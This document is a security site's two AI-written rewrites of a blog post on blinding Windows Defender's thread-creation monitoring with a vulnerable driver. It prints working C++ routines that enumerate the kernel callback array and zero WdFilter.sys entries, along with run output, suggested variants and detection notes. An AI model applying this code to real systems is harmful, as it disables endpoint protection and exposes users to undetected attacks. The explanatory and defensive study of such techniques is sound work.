Skip to content
RCE Write-up Advanced

Blinding EDRs to Thread Creation via BYOVD

The article describes a technique to disable EDR thread-creation callbacks by using a vulnerable driver to gain kernel read/write access. An attacker can zero out the callback entries in the kernel array, preventing security products like Windows Defender from monitoring new thread creation.

S12 - 0x12Dark Development Follow

Published on medium.com

Welcome to this new Medium post, in this one we will see how to enumerate and unlink thread creation callbacks registered through PsSetCreateThreadNotifyRoutine, using a vulnerable driver as a kernel read/write primitive to blind EDRs like Windows Defender at the kernel level

S12 - 0x12Dark Development, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

This post looks at how an EDR such as Windows Defender can be blinded at the kernel level by removing the callbacks it registers for thread creation. The mechanism in question is PsSetCreateThreadNotifyRoutine, a kernel API that lets a driver register a routine that fires every time a thread is created or deleted in the system. That is what an AV or EDR uses to observe thread activity.

Text
NTSTATUS PsSetCreateThreadNotifyRoutine(    PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine);

Internally the kernel keeps the registered callbacks in the array PspCreateThreadNotifyRoutine, which holds up to 64 entries. Each entry is a pointer to an EX_CALLBACK_ROUTINE_BLOCK structure, with the lowest nibble of the pointer used as an internal kernel flag. The structure is laid out as follows:

Text
typedef struct _EX_CALLBACK_ROUTINE_BLOCK{  EX_RUNDOWN_REF RundownProtect;  PEX_CALLBACK_FUNCTION Function;  PCM_CALLBACK_CONTEXT_BLOCK Context;} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;// easier to look like:+0x000  RundownProtect   (EX_RUNDOWN_REF)  synchronization, not useful for us+0x008  Function         (PVOID)           the actual callback pointer+0x010  Context          (PVOID)           optional context registered by the driver

The interesting field is Function on each callback: the memory address of the EDR function that will be called when a new thread is created or terminated.

The technique is a bring-your-own-vulnerable-driver (BYOVD) attack. A vulnerable driver is used as a kernel read/write primitive, and the write primitive is used to unlink the thread creation callbacks. Earlier posts in the same series cover the BYOVD concepts, so this one does not re-explain them.

From the original on medium.com

Setup

The approach has four stages:

  1. Resolve the address of PspCreateThreadNotifyRoutine.
  2. Enumerate the array.
  3. Identify the target callback by resolving which driver owns each Function pointer.
  4. Unlink the target by zeroing its array slot.

The tooling is a C++ program that uses a vulnerable driver opened through openVulnDriver() and two primitives, ReadPrimitive and WritePrimitive, provided by DrvOps.h. Kernel offsets are resolved through GetOffsets.h, which exposes ResolveKernelOffsets and a KernelOffsets structure containing PspCreateThreadNotifyRoutine. The program enables SeDebugPrivilege for its own process before doing anything else.

Finding it

PspCreateThreadNotifyRoutine is not exported, so its offset has to be resolved from the ntoskrnl.exe base address using PDB symbols, following the approach from an earlier post on kernel dynamic offset resolution.

Once the array address is known, enumeration is a matter of iterating all 64 slots. For each non-null entry the code:

  • cleans the nibble with entry & ~0xF;
  • reads Function at +0x8 from kernel memory;
  • reads Context at +0x10 from kernel memory;
  • resolves the owning driver name.

The owning driver is found by cross-referencing the resolved Function address against the sorted driver list, checking whether the address falls between a driver's base and base plus size. That gives a driver name for each callback without needing symbols.

Exploitation

Step 1: resolve the array address

The program resolves the kernel offsets, prints the offset of PspCreateThreadNotifyRoutine, lists the loaded kernel drivers through NtQuerySystemInformation with the SystemModuleInformation class (value 11), and finds the ntoskrnl base. The array address is then ntoskrnlBase + off.PspCreateThreadNotifyRoutine.

Text
[+] Offsets resolvedOffset PspCreateThreadNotifyRoutine: 0xF05400NTOSKRNL Base address fffff80691a00000

Step 2: enumerate the callbacks

EnumerateThreadCallbacks performs three kernel reads per entry: the raw array slot, Function, and Context. The driver name is resolved from the Function pointer.

Text
vector<EntryArrayCallbacks> EnumerateThreadCallbacks(HANDLE driver, DWORD64 pspCreateThread, const vector<KernelDriver>& drivers) {    vector<EntryArrayCallbacks> callbacks;    for (int i = 0; i < 64; i++) {        // Read array entry        DWORD64 entry = 0;        ReadPrimitive(driver, &entry, (LPVOID)(pspCreateThread + (i * 8)), sizeof(DWORD64));        // filter for nulls        if (entry == 0) {            continue;        }        DWORD64 block = entry & ~0xF;        // Read function (+0x8) and Context (+0x10)        EntryArrayCallbacks cb{};        ReadPrimitive(driver, &cb.Function, (LPVOID)(block + 0x8), sizeof(PVOID));        ReadPrimitive(driver, &cb.Context, (LPVOID)(block + 0x10), sizeof(PVOID));        cb.DriverName = ResolveDriverName(cb.Function, drivers);        callbacks.push_back(cb);    }    return callbacks;}

On the test machine the enumeration produced five callbacks:

Text
Function: FFFFF80624F64370 | Context: 0000000000000000 | Driver: WdFilter.sysFunction: FFFFF80624F64810 | Context: 0000000000000001 | Driver: WdFilter.sysFunction: FFFFF80629083A60 | Context: 0000000000000000 | Driver: mmcss.sysFunction: FFFFF806296D9FB0 | Context: 0000000000000000 | Driver: KslD.sysFunction: FFFFF806296DA050 | Context: 0000000000000001 | Driver: KslD.sys

Two callbacks belong to WdFilter.sys, the Windows Defender filter driver, at indices 0 and 1. The others belong to mmcss.sys and KslD.sys.

Step 3: unlink the target

The unlink routine re-reads each slot live to get the exact array index, matches the Function pointer against the already resolved callback list, and writes zero to the slot address when both the function and the driver name match the target.

Text
void UnlinkThreadCallbacks(HANDLE driver, DWORD64 pspCreateThread, vector<EntryArrayCallbacks>& callbacks, const string& targetDriver) {    for (int i = 0; i < 64; i++) {        // Re read the raw entry to get the index position        DWORD64 entry = 0;        ReadPrimitive(driver, &entry, (LPVOID)(pspCreateThread + (i * 8)), sizeof(DWORD64));        if (entry == 0) {            continue;        }        DWORD64 block = entry & ~0xF;        PVOID function = nullptr;        ReadPrimitive(driver, &function, (LPVOID)(block + 0x8), sizeof(PVOID));        // Check if this entry belongs to the target driver by matching against the already resolved callbacks        for (const auto& cb : callbacks) {            if (cb.Function == function && cb.DriverName == targetDriver) {                DWORD64 zero = 0;                DWORD64 entryAddr = pspCreateThread + (i * 8);                printf("\n!!! Unlinking %s callback at index %d | Function: %p\n", targetDriver.c_str(), i, function);                WritePrimitive(driver, (LPVOID)entryAddr, &zero, sizeof(DWORD64));                printf("... Entry zeroed at 0x%llX\n", entryAddr);            }        }    }}

The program calls it with WdFilter.sys as the target driver. The kernel iterates the array and skips null entries, so a zeroed slot means the callback never fires again.

Text
Unlinking WdFilter.sys thread callbacks...!!! Unlinking WdFilter.sys callback at index 0 | Function: FFFFF80624F64370Write primitive sent successfully. Bytes returned: 0... Entry zeroed at 0xFFFFF80692905400!!! Unlinking WdFilter.sys callback at index 1 | Function: FFFFF80624F64810Write primitive sent successfully. Bytes returned: 0... Entry zeroed at 0xFFFFF80692905408

Both WdFilter entries are zeroed. The mmcss.sys and KslD.sys callbacks remain untouched.

Why zero the array slot and not the Function field

A question that came up during development was why the array entry is zeroed rather than the Function field. Writing zero to block+0x8, the Function of each callback, would make the kernel call a null function pointer, which is an instant BSOD. Writing zero to the array slot makes the kernel skip the entry during iteration, which is a safe unlink.

Root cause

The kernel stores the registered thread creation callbacks in a plain array of pointers, PspCreateThreadNotifyRoutine, and treats a null slot as an empty one. Anyone who can write to kernel memory can therefore remove a callback by zeroing its slot, and the kernel will simply skip it from then on. The kernel treats a null slot as an empty one, so zeroing a slot removes the callback.

As far as the author is concerned, PatchGuard does not protect PspCreateThreadNotifyRoutine, so the modification does not trip that defence.

Detection

This technique is detectable, but the detection has to happen before the unlink, not after.

Kernel detections:

  • Periodic integrity checks on PspCreateThreadNotifyRoutine: an EDR running in kernel can hash or snapshot the array and alert on unexpected zeroed entries.

The BYOVD step is the most detectable part. Loading a known vulnerable driver process is not that easy.

Impact

Any EDR that relies exclusively on thread creation callbacks loses visibility across the entire system for new threads, not just for a specific process. In the demonstration, Windows Defender's WdFilter.sys thread callbacks are removed while unrelated callbacks stay in place.

The technique is not new; it is a classic, but it had not been published on this blog before. The natural extension is to do the same for PspLoadImageNotifyRoutine, which has the same structure and the same approach, with a different array. Together these arrays represent the core of what most EDRs use for process, thread and image visibility; the process one is already published on the blog.

Fix

There is no fix described in the post. The defensive measure it names is periodic integrity checking of PspCreateThreadNotifyRoutine from kernel mode, alerting on unexpected zeroed entries. The BYOVD step is the most detectable part of the chain, and loading a known vulnerable driver is not that easy.

Variants to test

  • PspLoadImageNotifyRoutine: the same structure and the same approach, applied to the image load notification array. A positive result is a resolved list of callbacks with their owning drivers, followed by zeroed slots for the target driver and untouched entries for the rest.
  • Other callback arrays with the same EX_CALLBACK_ROUTINE_BLOCK layout: enumerate the array, resolve each Function against the sorted driver list, and zero only the slots whose function and driver name match the target. A positive result is the target driver's callbacks disappearing from a fresh enumeration while other drivers' callbacks remain.
  • Integrity check bypass testing: snapshot PspCreateThreadNotifyRoutine before and after an unlink to see whether a periodic hash or snapshot would notice the change. A positive result for the defender is a mismatch between the two snapshots; a positive result for the attacker is a modification that the check does not cover.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

A security researcher published a walkthrough showing how to switch off part of an antivirus product's ability to see new programs starting up, from deep inside the operating system. The product in the demonstration is Windows Defender, and the part being switched off is its thread creation monitoring.

To follow the story you need three ideas. First, an operating system kernel: the core of the system that sits between programs and the hardware, with full power over everything. Second, a driver: a small program that runs inside the kernel to support a piece of hardware or a security product. Third, a callback: a function that one piece of software hands to another with the instruction "call this whenever event X happens". Think of a callback as leaving your phone number with a building's reception so they ring you every time a visitor arrives. The reception desk keeps a list of numbers. If someone crosses your number off that list, you stop getting calls, and the reception has no idea anything is wrong.

That is the whole trick here. Windows keeps a list of callback functions that security drivers want called whenever a thread is created or deleted. The researcher uses a vulnerable driver (a driver with a security flaw that lets an attacker read and write kernel memory) to cross the Defender entries off that list. Defender keeps running, but it never hears about new threads again.

The technique belongs to a family called BYOVD, short for "bring your own vulnerable driver". The attacker brings along a third-party driver that already has a flaw and uses it as a doorway into kernel memory, though loading a known vulnerable driver is not that easy.

From the original on medium.com

Background: how the callback list works

The API that registers a callback

An API (application programming interface) is a named doorway that one program uses to ask another program or the operating system to do something. You do not need to know how the room behind the door is furnished; you just knock and ask. Windows offers thousands of these doorways, and drivers use them to request kernel services.

One of them is PsSetCreateThreadNotifyRoutine. A driver calls it to say: "here is a function of mine; please run it every time a thread is created or deleted anywhere on this machine". A thread is the smallest unit of work the system schedules; every running program has at least one, and busy programs have many. So this API is exactly how a security product watches for suspicious activity starting up.

Text
NTSTATUS PsSetCreateThreadNotifyRoutine(    PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine);

Line by line: NTSTATUS is the return type, a number that tells the caller whether the request succeeded. PsSetCreateThreadNotifyRoutine is the name of the function being called. Inside the brackets is its one input, NotifyRoutine, whose type PCREATE_THREAD_NOTIFY_ROUTINE means "a pointer to a function that handles thread creation events". A pointer is a memory address, the equivalent of a house number rather than the house itself. So the driver hands over the address of its own function, and the kernel remembers it.

Where the list is kept

Inside the kernel, the registered callbacks live in an array called PspCreateThreadNotifyRoutine. An array is a numbered row of slots, like a row of pigeonholes, each holding one item. This particular row has 64 slots. Each slot does not hold the callback function directly; it holds a pointer to a small structure called EX_CALLBACK_ROUTINE_BLOCK, which in turn describes the callback.

Text
typedef struct _EX_CALLBACK_ROUTINE_BLOCK{  EX_RUNDOWN_REF RundownProtect;  PEX_CALLBACK_FUNCTION Function;  PCM_CALLBACK_CONTEXT_BLOCK Context;} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;// easier to look like:+0x000  RundownProtect   (EX_RUNDOWN_REF)  synchronization, not useful for us+0x008  Function         (PVOID)           the actual callback pointer+0x010  Context          (PVOID)           optional context registered by the driver

Line by line: typedef struct introduces a description of how a block of memory is laid out, and gives it the name EX_CALLBACK_ROUTINE_BLOCK. The first field, RundownProtect, is a synchronisation helper the kernel uses to avoid pulling a callback out from under a thread that is currently running it; the comment says it is not useful for this technique. The second field, Function, is the address of the actual callback, the phone number in our reception analogy. The third, Context, is an optional value the driver can attach, a little like a reference number the receptionist reads out when they call you. The comment block underneath restates the same layout as byte offsets from the start of the structure: +0x000 for RundownProtect, +0x008 for Function, +0x010 for Context. Offsets like these are how low-level code finds a field when it only has the address of the block.

The field the attack cares about is Function: the memory address of the Defender routine that would be called on every thread creation or termination.

The vulnerable driver as a doorway

The researcher does not exploit Windows itself. Instead a vulnerable driver is loaded and used as a kernel read/write primitive: a pair of operations, "read this many bytes from this kernel address" and "write these bytes to this kernel address", that the attacker would never normally be allowed to perform. A primitive in security means a small, reliable capability that bigger attacks are built from, the way a single Lego brick is not a model but every model is made of bricks. Earlier posts in the same series explain the BYOVD groundwork, so this one does not repeat it.

The plan, in four stages

The approach is deliberately simple:

  1. Find the address of the PspCreateThreadNotifyRoutine array in kernel memory.
  2. Walk all 64 slots and read what each one points to.
  3. Work out which driver owns each callback, so the Defender ones can be picked out.
  4. Zero the array slots belonging to the target driver, which removes those callbacks.

The tooling is a C++ program. It opens the vulnerable driver through a helper called openVulnDriver() and uses two operations, ReadPrimitive and WritePrimitive, supplied by a header file DrvOps.h. A header file in C and C++ is a file that declares what functions exist so the main program can call them; the actual code lives elsewhere. Kernel offsets come from GetOffsets.h, which provides ResolveKernelOffsets and a structure KernelOffsets holding the field PspCreateThreadNotifyRoutine. Before any of that, the program enables SeDebugPrivilege for itself. A privilege on Windows is a permission flag attached to a process; SeDebugPrivilege is the one that allows a process to open and inspect other processes, and it is normally reserved for administrators.

Finding the array

PspCreateThreadNotifyRoutine is not exported, meaning the kernel does not publish its address for other code to look up by name. So the program cannot simply ask for it. Instead it takes the base address of ntoskrnl.exe, the main Windows kernel file, and adds a fixed distance, an offset, to reach the array. The offset is looked up from PDB symbols. A PDB is a debug information file that maps names to addresses inside a compiled program; it is what debuggers use to show you function names instead of bare numbers. An earlier post in the series covers resolving kernel offsets this way.

Once the array address is known, enumeration means visiting all 64 slots. For each slot that is not empty, the code:

  • strips the lowest four bits of the pointer with entry & ~0xF;
  • reads the Function field at +0x8 from kernel memory;
  • reads the Context field at +0x10 from kernel memory;
  • works out which driver the callback belongs to.

The stripping step needs a word of explanation. The kernel stores a small internal flag in the lowest four bits of each pointer, because pointers to these structures are aligned so those bits would otherwise always be zero. Four bits is one nibble, half of a byte. Masking with ~0xF clears those four bits and leaves the real address. The owning driver is found by comparing the Function address against the list of loaded drivers: if the address falls between a driver's start and its start plus its size, that driver owns the callback. This gives a driver name for every callback without needing any symbols.

Carrying out the attack

Step 1: resolve the array address

The program resolves the kernel offsets, prints the offset of PspCreateThreadNotifyRoutine, lists the loaded kernel drivers through NtQuerySystemInformation using the SystemModuleInformation class (value 11), and finds the ntoskrnl base. NtQuerySystemInformation is a general-purpose Windows function for asking the kernel about the state of the system; the class number selects which question you are asking, and 11 means "tell me about loaded modules", where a module is a loaded program file such as a driver. The array address is then ntoskrnlBase + off.PspCreateThreadNotifyRoutine.

Text
[+] Offsets resolvedOffset PspCreateThreadNotifyRoutine: 0xF05400NTOSKRNL Base address fffff80691a00000

Line by line: [+] Offsets resolved is the program saying it successfully looked up the distances it needs. Offset PspCreateThreadNotifyRoutine: 0xF05400 is the distance from the kernel base to the array, written in hexadecimal, a base-16 number system that programmers use because it maps neatly onto bytes. NTOSKRNL Base address fffff80691a00000 is where the kernel itself is loaded in memory on this machine. Add the two and you have the array's address.

Step 2: enumerate the callbacks

EnumerateThreadCallbacks performs three kernel reads per slot: the raw array slot, then Function, then Context. The driver name is resolved from the Function pointer.

Text
vector<EntryArrayCallbacks> EnumerateThreadCallbacks(HANDLE driver, DWORD64 pspCreateThread, const vector<KernelDriver>& drivers) {    vector<EntryArrayCallbacks> callbacks;    for (int i = 0; i < 64; i++) {        // Read array entry        DWORD64 entry = 0;        ReadPrimitive(driver, &entry, (LPVOID)(pspCreateThread + (i * 8)), sizeof(DWORD64));        // filter for nulls        if (entry == 0) {            continue;        }        DWORD64 block = entry & ~0xF;        // Read function (+0x8) and Context (+0x10)        EntryArrayCallbacks cb{};        ReadPrimitive(driver, &cb.Function, (LPVOID)(block + 0x8), sizeof(PVOID));        ReadPrimitive(driver, &cb.Context, (LPVOID)(block + 0x10), sizeof(PVOID));        cb.DriverName = ResolveDriverName(cb.Function, drivers);        callbacks.push_back(cb);    }    return callbacks;}

Line by line: the function takes three inputs: driver, a handle to the vulnerable driver (a handle is a reference the system gives you when you open something, like a claim ticket); pspCreateThread, the address of the array; and drivers, the list of loaded drivers. vector<EntryArrayCallbacks> callbacks; creates an empty list to collect results. for (int i = 0; i < 64; i++) walks the 64 slots one at a time. DWORD64 entry = 0; prepares an eight-byte variable to receive the slot contents. ReadPrimitive(...) reads eight bytes from the array at pspCreateThread + (i * 8); the multiplication by 8 is because each slot is eight bytes wide, so slot i starts i * 8 bytes into the array. if (entry == 0) continue; skips empty slots. DWORD64 block = entry & ~0xF; strips the flag nibble to get the real address of the callback block. The next two ReadPrimitive calls fetch Function at block + 0x8 and Context at block + 0x10, matching the structure layout from earlier. ResolveDriverName turns the function address into a driver name. callbacks.push_back(cb); adds the result to the list, and the list is returned at the end.

On the test machine the enumeration produced five callbacks:

Text
Function: FFFFF80624F64370 | Context: 0000000000000000 | Driver: WdFilter.sysFunction: FFFFF80624F64810 | Context: 0000000000000001 | Driver: WdFilter.sysFunction: FFFFF80629083A60 | Context: 0000000000000000 | Driver: mmcss.sysFunction: FFFFF806296D9FB0 | Context: 0000000000000000 | Driver: KslD.sysFunction: FFFFF806296DA050 | Context: 0000000000000001 | Driver: KslD.sys

Line by line: each line is one occupied slot. Function is the address of the callback, Context is the optional value the driver attached, and Driver is the name of the driver that owns that address. Two callbacks belong to WdFilter.sys, the Windows Defender filter driver, at slots 0 and 1. The others belong to mmcss.sys and KslD.sys. The point of this step is to know exactly which slots to touch and which to leave alone.

Step 3: unlink the target

The unlink routine re-reads each slot live to get the exact array index, matches the Function pointer against the already resolved callback list, and writes zero to the slot address when both the function and the driver name match the target.

Text
void UnlinkThreadCallbacks(HANDLE driver, DWORD64 pspCreateThread, vector<EntryArrayCallbacks>& callbacks, const string& targetDriver) {    for (int i = 0; i < 64; i++) {        // Re read the raw entry to get the index position        DWORD64 entry = 0;        ReadPrimitive(driver, &entry, (LPVOID)(pspCreateThread + (i * 8)), sizeof(DWORD64));        if (entry == 0) {            continue;        }        DWORD64 block = entry & ~0xF;        PVOID function = nullptr;        ReadPrimitive(driver, &function, (LPVOID)(block + 0x8), sizeof(PVOID));        // Check if this entry belongs to the target driver by matching against the already resolved callbacks        for (const auto& cb : callbacks) {            if (cb.Function == function && cb.DriverName == targetDriver) {                DWORD64 zero = 0;                DWORD64 entryAddr = pspCreateThread + (i * 8);                printf("\n!!! Unlinking %s callback at index %d | Function: %p\n", targetDriver.c_str(), i, function);                WritePrimitive(driver, (LPVOID)entryAddr, &zero, sizeof(DWORD64));                printf("... Entry zeroed at 0x%llX\n", entryAddr);            }        }    }}

Line by line: the function takes the driver handle, the array address, the previously resolved callback list, and the name of the driver to remove. The outer loop walks the 64 slots again. ReadPrimitive fetches the raw slot, empty slots are skipped, and the flag nibble is stripped as before. PVOID function = nullptr; prepares a variable for the callback address, and the next ReadPrimitive reads it from block + 0x8. The inner loop compares this live value against every entry in the resolved list. The condition cb.Function == function && cb.DriverName == targetDriver requires both the address and the driver name to match, so only the intended callbacks are touched. When they match, DWORD64 zero = 0; prepares a zero value, entryAddr computes the address of the slot itself, a message is printed, and WritePrimitive writes eight zero bytes over the slot. A second message confirms the address that was zeroed.

The program calls it with WdFilter.sys as the target driver. The kernel iterates the array and skips null entries, so a zeroed slot means the callback never fires again.

Text
Unlinking WdFilter.sys thread callbacks...!!! Unlinking WdFilter.sys callback at index 0 | Function: FFFFF80624F64370Write primitive sent successfully. Bytes returned: 0... Entry zeroed at 0xFFFFF80692905400!!! Unlinking WdFilter.sys callback at index 1 | Function: FFFFF80624F64810Write primitive sent successfully. Bytes returned: 0... Entry zeroed at 0xFFFFF80692905408

Line by line: the first line announces the target. Each !!! Unlinking line reports a matching callback and its slot index. Write primitive sent successfully. Bytes returned: 0 is the vulnerable driver confirming the write request was accepted. Each ... Entry zeroed line gives the address of the slot that was overwritten. Both WdFilter entries are zeroed, and the mmcss.sys and KslD.sys callbacks remain untouched, which is the whole point: the change is surgical, not a blanket wipe.

Why zero the array slot and not the Function field

A question that came up during development was why the array entry is zeroed rather than the Function field. Writing zero to block+0x8, the Function of each callback, would make the kernel call a null function pointer, which is an instant BSOD. BSOD stands for Blue Screen of Death, the crash screen Windows shows when the kernel hits an unrecoverable error. Writing zero to the array slot instead makes the kernel skip the entry during iteration, which is a safe unlink. In reception terms: crossing the number off the list is fine, but replacing the number with a blank that the receptionist still dials would crash the phone system.

Why it works at all

The kernel stores the registered thread creation callbacks in a plain array of pointers, PspCreateThreadNotifyRoutine, and treats a null slot as an empty one. Anyone who can write to kernel memory can therefore remove a callback by zeroing its slot, and the kernel will simply skip it from then on. The kernel treats a null slot as an empty one, so zeroing a slot removes the callback. This is the root cause: the design assumes that only trusted kernel code can write there, and the vulnerable driver breaks that assumption.

As far as the author is concerned, PatchGuard does not protect PspCreateThreadNotifyRoutine, so the modification does not trip that defence. PatchGuard is a Windows feature that periodically checks critical kernel structures for tampering and crashes the machine if it finds any; it is a guard dog that patrols selected rooms, and this array is apparently not one of the rooms it checks.

Detection

This technique is detectable, but the detection has to happen before the unlink, not after. Once the slot is zeroed, the callback is simply gone and nothing in normal operation looks wrong.

Kernel detections:

  • Periodic integrity checks on PspCreateThreadNotifyRoutine: an EDR running in kernel can hash or snapshot the array and alert on unexpected zeroed entries. A hash here means a short fingerprint computed from the array's contents; if the contents change, the fingerprint changes. A snapshot is a saved copy for later comparison. Either way, the defender compares what the array looks like now with what it looked like before, and flags a difference.

The BYOVD step is the most detectable part. Loading a known vulnerable driver process is not that easy, which is a small comfort: the noisy part of the attack happens before the quiet part.

What it means

Any EDR that relies exclusively on thread creation callbacks loses visibility across the entire system for new threads, not just for a specific process. In the demonstration, Windows Defender's WdFilter.sys thread callbacks are removed while unrelated callbacks stay in place. The security product is still installed and running, but it no longer receives thread creation notifications.

The technique is not new; it is a classic, but it had not been published on this blog before. The natural extension is to do the same for PspLoadImageNotifyRoutine, which has the same structure and the same approach, with a different array. That array handles notifications when an image, meaning an executable or library file, is loaded into memory. Together these arrays represent the core of what most EDRs use for process, thread and image visibility; the process one is already published on the blog.

Is there a fix?

There is no fix described in the post. The defensive measure it names is periodic integrity checking of PspCreateThreadNotifyRoutine from kernel mode, alerting on unexpected zeroed entries. The BYOVD step is the most detectable part of the chain, and loading a known vulnerable driver is not that easy.

Other things worth testing

  • PspLoadImageNotifyRoutine: the same structure and the same approach, applied to the image load notification array. A positive result is a resolved list of callbacks with their owning drivers, followed by zeroed slots for the target driver and untouched entries for the rest.
  • Other callback arrays with the same EX_CALLBACK_ROUTINE_BLOCK layout: enumerate the array, resolve each Function against the sorted driver list, and zero only the slots whose function and driver name match the target. A positive result is the target driver's callbacks disappearing from a fresh enumeration while other drivers' callbacks remain.
  • Integrity check bypass testing: snapshot PspCreateThreadNotifyRoutine before and after an unlink to see whether a periodic hash or snapshot would notice the change. A positive result for the defender is a mismatch between the two snapshots; a positive result for the attacker is a modification that the check does not cover.

Glossary

  • API: a named doorway one program uses to ask another program or the operating system to do something, without needing to know how it works inside.
  • Array: a numbered row of slots in memory, each holding one item, accessed by its position number.
  • BSOD: Blue Screen of Death, the crash screen Windows shows when the kernel hits an unrecoverable error.
  • BYOVD: bring your own vulnerable driver; an attack that loads a third-party driver with a known flaw and uses it to reach kernel memory.
  • Callback: a function handed to another piece of software with the instruction to run it whenever a particular event happens.
  • Context: an optional value a driver attaches to its callback registration, passed back to the callback when it runs.
  • Driver: a program that runs inside the operating system kernel to support hardware or a security product.
  • EDR: endpoint detection and response; security software that watches a computer for malicious behaviour and reports on it.
  • Exported: published by name so other code can look up its address; the opposite of a hidden internal symbol.
  • Handle: a reference the system gives you when you open something, used later to refer to it.
  • Hash: a short fingerprint computed from data; if the data changes, the fingerprint changes.
  • Header file: in C and C++, a file that declares what functions exist so other code can call them.
  • Hexadecimal: base-16 number notation, common in programming because it maps neatly onto bytes.
  • Kernel: the core of the operating system, with full power over the hardware and over every program.
  • Kernel read/write primitive: a pair of operations that read and write arbitrary kernel memory, normally unavailable to ordinary code.
  • Module: a loaded program file, such as a driver or the kernel itself.
  • Nibble: four bits, half of a byte.
  • Offset: a fixed distance from a known starting point, used to locate something in memory.
  • PatchGuard: a Windows feature that periodically checks critical kernel structures for tampering and crashes the machine if it finds any.
  • PDB: a debug information file that maps names to addresses inside a compiled program.
  • Pointer: a memory address; the house number rather than the house.
  • Primitive: a small, reliable capability that larger attacks are built from.
  • Privilege: a permission flag attached to a process, such as the right to inspect other processes.
  • Root cause: the underlying design or coding reason a vulnerability exists.
  • Snapshot: a saved copy of data taken at a point in time, for later comparison.
  • Thread: the smallest unit of work the operating system schedules; every running program has at least one.
  • Vulnerable driver: a driver with a security flaw that lets an attacker do something it should not, such as read and write kernel memory.

More by S12 - 0x12Dark Development

View all

13 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.